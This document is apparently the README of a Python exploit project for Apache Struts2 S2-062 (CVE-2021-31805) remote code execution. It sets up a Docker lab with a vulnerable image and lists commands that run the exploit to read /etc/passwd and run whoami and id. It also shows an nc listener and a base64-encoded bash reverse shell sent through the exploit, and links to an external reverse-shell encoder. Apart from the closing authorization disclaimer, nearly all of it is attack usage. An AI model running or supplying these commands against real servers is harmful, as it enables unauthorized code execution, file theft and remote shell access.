
Python-Exploit für Apache Struts2 S2-062 (CVE-2021-31805) Remote-Code-Ausführung, mit Docker-basierter Reproduktionsumgebung und Reverse-Shell-Payload-Generierung.
Apache Struts2 S2-062 Remote Code Execution Vulnerability (CVE-2021-31805) | Reverse Shell
docker-compose.yml
version: '2'
services:
struts2:
image: vulhub/struts2:2.5.25
ports:
- "8080:8080"
Pull the image and start the environment
docker-compose up -d
Access address: http://1.1.1.1:8080
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action "cat /etc/passwd"

python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action whoami

python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action id

nc -lvvp 8081

Construct a base64-encoded reverse shell script using the following website: https://ir0ny.top/pentest/reverse-encoder-shell.html

python CVE-2021-31805_Shell.py http://1.1.1.1:8080/index.action "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"


Do not use for illegal purposes, only for security testing. Otherwise, the consequences are not related to this project. Note: Only test websites under proper authorization: Testing sites improperly brings tears to your loved ones.